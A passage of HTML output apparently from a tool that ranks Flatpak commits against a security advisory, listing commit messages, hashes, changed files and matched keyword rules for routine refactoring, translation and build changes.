      common: Move OCI registry manipulation into FlatpakOciRegistry This is a step towards making flatpak-utils conceptually "smaller" than all other translation units, with no dependencies beyond GLib and libglnx. In particular, consolidating all the OCI registry manipulation into one place means we can build other translation units without libarchive. This would also be a step towards being able to provide a build-time option to build a libostree-only version of Flatpak without the OCI feature or the direct libarchive dependency, if someone wanted to implement that. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-oci-registry-private.h + + common/flatpak-oci-registry.c + + common/flatpak-utils-private.h + + common/flatpak-utils.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + subprojects: Update dbus-proxy.wrap to v0.1.6 We still only require... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 368cf26f8da82e81f26fb1797080668af3579ed1 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: require, release, update, subproject, system
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: subproject
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      subprojects: Update dbus-proxy.wrap to v0.1.6 We still only require a system xdg-dbus-proxy to be v0.1.0 or later, although a newer release is recommended. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + subprojects/dbus-proxy.wrap + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + NEWS, meson.build: Update for version 1.15.10 Signed-off-by: Simon... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 501dc75bc80f4a69e2015ae3d9a226d42413c77e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: meson, build, version, update
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: meson, build
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      NEWS, meson.build: Update for version 1.15.10 Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + NEWS + + meson.build + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + build: Require bubblewrap 0.10.0 This is functionally equivalent to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 417f3ca47ca2f620e6489b2a2cb437dbc803a37f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: build, require, bubblewrap, release
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: meson, build, subproject, bubblewrap
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      build: Require bubblewrap 0.10.0 This is functionally equivalent to the release candidate. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + meson.build + + subprojects/bubblewrap.wrap + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + tests: Add an address sanitizer suppression file There are two... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5fc86a865cdcec0903ee526366e02af861d0c856 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: meson, build
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      tests: Add an address sanitizer suppression file There are two places where we deliberately leak some memory. There are some cases which look like leaks in libostree but it's not impossible that we made a mistake in flatpak. Two other cases seem like issues in flatpak that I couldn't figure out.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + tests/flatpak-asan.supp + + tests/meson.build + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + tests/build: Add address sanitizer log file path Logging into files... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + dad0160eee69466be8450bbf296ade9977d8ff00 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: build, file, require, mean
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: meson, build
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      tests/build: Add address sanitizer log file path Logging into files means we don't mess up the test TAP output and anything that requires a specific format.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + tests/meson.build + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + utils: Move OstreeRepo configuration accessors to a new translation... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + c98a7c024f97331e19d53ca8d3dad9ee93880ef4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: access, configuration
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: meson, build, update
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      utils: Move OstreeRepo configuration accessors to a new translation unit This is a step towards removing the libostree dependency from flatpak-utils, which should be one of the lowest-level components. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + app/flatpak-builtins-build-update-repo.c + + common/flatpak-repo-utils-private.h + + common/flatpak-repo-utils.c + + common/flatpak-utils-private.h + + common/flatpak-utils.c + + common/meson.build + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + flatpak-permissions: Fix a memory leak This occur by just running... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 92d7f9ec49e2db4ad93040d8e607531791165024 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: permission
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: permission
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      flatpak-permissions: Fix a memory leak This occur by just running flatpak permission <SOME APP> Signed-off-by: Hubert Figuière <hub@figuiere.net>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + app/flatpak-builtins-permission-list.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + profile: Install flatpak.csh + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + cfb143bfc79bca1da2e584a9ed97ac93a16899b5 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: instal, file
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: meson, build, file
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      profile: Install flatpak.csh
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + profile/meson.build + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update subtree: libglnx 2024-08-23 * Fix function detection when... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + db5f0370209d05d5001bb7af7a01a41e8b6f7858 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: update, avoid, include, backport
      +
    • + +
    • +
      The commit message references some github issue: 5778
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update subtree: libglnx 2024-08-23 * Fix function detection when using -Werror=return-type (Resolves: flatpak/flatpak#5778) * Add a fallback definition for G_PID_FORMAT * Avoid warnings for g_steal_fd() when targeting older GLib * Include <glib-unix.h> from glnx-backports.h Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge branch 'wip/smcv/glib-unix' into 'master' glnx-backports:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 87f2768fab168ded186bd6b973ad6acf4cd09f8b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: branch, include, backport
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge branch 'wip/smcv/glib-unix' into 'master' glnx-backports: Include `<glib-unix.h>` See merge request GNOME/libglnx!59
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + run: Debug-log the final context for an app This indicates what... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 0101366da4f636a3b1634b99cf04ff5b2f9fe427 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: sandbox, sandboxing
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      run: Debug-log the final context for an app This indicates what sandboxing parameters we are going to be using in the end. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-run.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + dir: When we load overrides, log them as debug messages The more... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + dbc6cd91afd23653e1cef024b234b34af525b21b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: have, intend, user, work
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      dir: When we load overrides, log them as debug messages The more involved parts of this are skipped if debug logging is disabled. This will help to diagnose what is going on when users have added overrides that make their app not work as intended. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-dir.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + context: Add a function to log a FlatpakContext This writes out the... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9784e5c0edd67d95f6e668099928f5027f85583c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: write
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      context: Add a function to log a FlatpakContext This writes out the context as a series of debug messages. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-context-private.h + + common/flatpak-context.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + utils: Add flatpak_is_debugging() This can be used to disable code... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5d62a6d80b01b5c3ada67ddcd469d8c801d4dfca +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version, code
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      utils: Add flatpak_is_debugging() This can be used to disable code paths that assemble relatively "expensive" debug information when debugging is not enabled. It's activated by `flatpak -v -v`. With a sufficiently modern GLib version, it also activates for `G_MESSAGES_DEBUG=all` or `G_MESSAGES_DEBUG=flatpak`. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + app/flatpak-main.c + + common/flatpak-utils-private.h + + common/flatpak-utils.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + run: Use hash tables as sets in the conventional way GLib has... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 73cebfd83c34904944d1e1d0631b102589bb8dee +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: represent, work
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      run: Use hash tables as sets in the conventional way GLib has optimizations for hash tables that are sets (conventionally represented as key == value), and the APIs to work with such hash tables are also slightly nicer, so use them instead of putting an arbitrary constant string in the value. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-run.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Constify arrays of program arguments These are passed to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5964b13f1e06ee0e2cf33431d59cb1a855fab61b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: need
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Constify arrays of program arguments These are passed to non-const-correct APIs which still need a cast, but at least we can declare the array in a way that reduces mistakes. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + revokefs/demo.c + + session-helper/flatpak-session-helper.c + + tests/can-use-fuse.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + utils: Be more const-correct For historical reasons C string... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + f711ffc0e3c9b0119fec69961ae8a558670752df +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: write, build
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      utils: Be more const-correct For historical reasons C string literals are officially of type `char *`, but if we build with -Wwrite-strings, they are `const char *` as they should be. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-utils.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update translation files for 1.14.10 release Signed-off-by: Simon... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.14.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5a2503f1e8ef94364e3060ec440546cc47af7fa5 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: update, file, release
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update translation files for 1.14.10 release Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + po/cs.po + + po/da.po + + po/de.po + + po/en_GB.po + + po/es.po + + po/fr.po + + po/gl.po + + po/hi.po + + po/hr.po + + po/hu.po + + po/id.po + + po/oc.po + + po/pl.po + + po/pt.po + + po/pt_BR.po + + po/ro.po + + po/ru.po + + po/sk.po + + po/sv.po + + po/tr.po + + po/uk.po + + po/zh_CN.po + + po/zh_TW.po + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update translation files for 1.15.10 Signed-off-by: Simon McVittie... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8b4f523c4f8287d57f1a84a3a8216efe200c5fbf +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: update, file
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update translation files for 1.15.10 Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + po/cs.po + + po/da.po + + po/de.po + + po/en_GB.po + + po/es.po + + po/fr.po + + po/gl.po + + po/hi.po + + po/hr.po + + po/hu.po + + po/id.po + + po/ka.po + + po/nl.po + + po/oc.po + + po/pl.po + + po/pt.po + + po/pt_BR.po + + po/ro.po + + po/ru.po + + po/sk.po + + po/sv.po + + po/tr.po + + po/uk.po + + po/zh_CN.po + + po/zh_TW.po + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update NEWS for release candidate (1.15.10 rc1) Signed-off-by: Simon... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + f62a83cdae462de15d80c02f12a8468981edc6d5 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: update, release
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update NEWS for release candidate (1.15.10 rc1) Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + NEWS + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + oci-authenticator: Unref the GOptionContext when we're done with it + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4b439ca001a4b1d867e399f2bc9629f972f6142c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: option
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      oci-authenticator: Unref the GOptionContext when we're done with it
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + oci-authenticator/flatpak-oci-authenticator.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + repo-utils: Don't take ownership of the extra data source name Only... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + fd5e4064731917ed96c531f3983c10b25e79e57a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: source, close, point
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      repo-utils: Don't take ownership of the extra data source name Only get a pointer to the name which is valid as long as the input GVariant is valid. Closes: https://github.com/flatpak/flatpak/issues/5883
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-repo-utils.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + dir: Use same mechanism for... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + efa48c1c21e4eadf03e3a4bbd944bd85b00f0898 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: default, user, system
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      dir: Use same mechanism for get_system/user_default_base_dir_location Also add the same missing valgrind suppression for the system dir location.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-dir.c + + tests/flatpak.supp + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update translation files for release Signed-off-by: Simon McVittie... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + b026910d1c18900e9daf07c429f7e901eb1c3f20 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: update, file, release
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update translation files for release Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + po/cs.po + + po/da.po + + po/de.po + + po/en_GB.po + + po/es.po + + po/fr.po + + po/gl.po + + po/hi.po + + po/hr.po + + po/hu.po + + po/id.po + + po/ka.po + + po/nl.po + + po/oc.po + + po/pl.po + + po/pt.po + + po/pt_BR.po + + po/ro.po + + po/ru.po + + po/sk.po + + po/sv.po + + po/tr.po + + po/uk.po + + po/zh_CN.po + + po/zh_TW.po + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Prepare v1.15.9 Signed-off-by: Simon McVittie <smcv@collabora.com> + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 158958487528620dd4511364d56724781333e8b2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: meson, build
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Prepare v1.15.9 Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + NEWS + + meson.build + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update ka.po + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 75b21fb23ebdf2045d00aa558c729bcefd78b267 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: update
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update ka.po
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + po/ka.po + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update Brazilian Portuguese translation + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + c374ff37de94736225cf860c0b2f33f91ad98d5f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: update
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update Brazilian Portuguese translation
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + po/pt_BR.po + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + dir: Make sure all parse_ref_file out params are consistently... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4bf4f32c164f368202df494b96bbfc38fc0daa0e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: support, commit, avoid, file
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      dir: Make sure all parse_ref_file out params are consistently cleared parse_ref_file() cleared all its out params to NULL, with the exception of collection_id_out. Make sure to clear this one as well to avoid surprises in the future. Fixes commit ae7d96037 that added collection ID support to flatpakref.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-dir.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + prune: Include flatpak-variant-private.h before its -impl-private.h... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4add324060ac219eaa575f174f467b900b1f8040 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: include
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      prune: Include flatpak-variant-private.h before its -impl-private.h This ensures that declarations are visible. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-prune.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + utils: Remove unnecessary flatpak-ref-utils-private.h inclusion... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 25d38bab0a486f0f6555cba235ce59ae37cd8d96 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: need, include
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      utils: Remove unnecessary flatpak-ref-utils-private.h inclusion Include flatpak-ref-utils-private.h explicitly in each remaining module that needs it (mostly for FlatpakDecomposed). Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-ref.c + + common/flatpak-run-private.h + + common/flatpak-utils-private.h + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + utils: Move more repository functionality to repo-utils This further... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 97cddd6e4832a31bddff753e8f3f783b96642d07 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: build
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      utils: Move more repository functionality to repo-utils This further reduces circular dependencies: utils no longer has a circular dependency with repo-utils or xml-utils. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + app/flatpak-builtins-build-sign.c + + app/flatpak-builtins-remote-add.c + + common/flatpak-remote.c + + common/flatpak-repo-utils-private.h + + common/flatpak-repo-utils.c + + common/flatpak-utils-private.h + + common/flatpak-utils.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + utils: Export flatpak_get_compat_arch() This will allow its caller... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
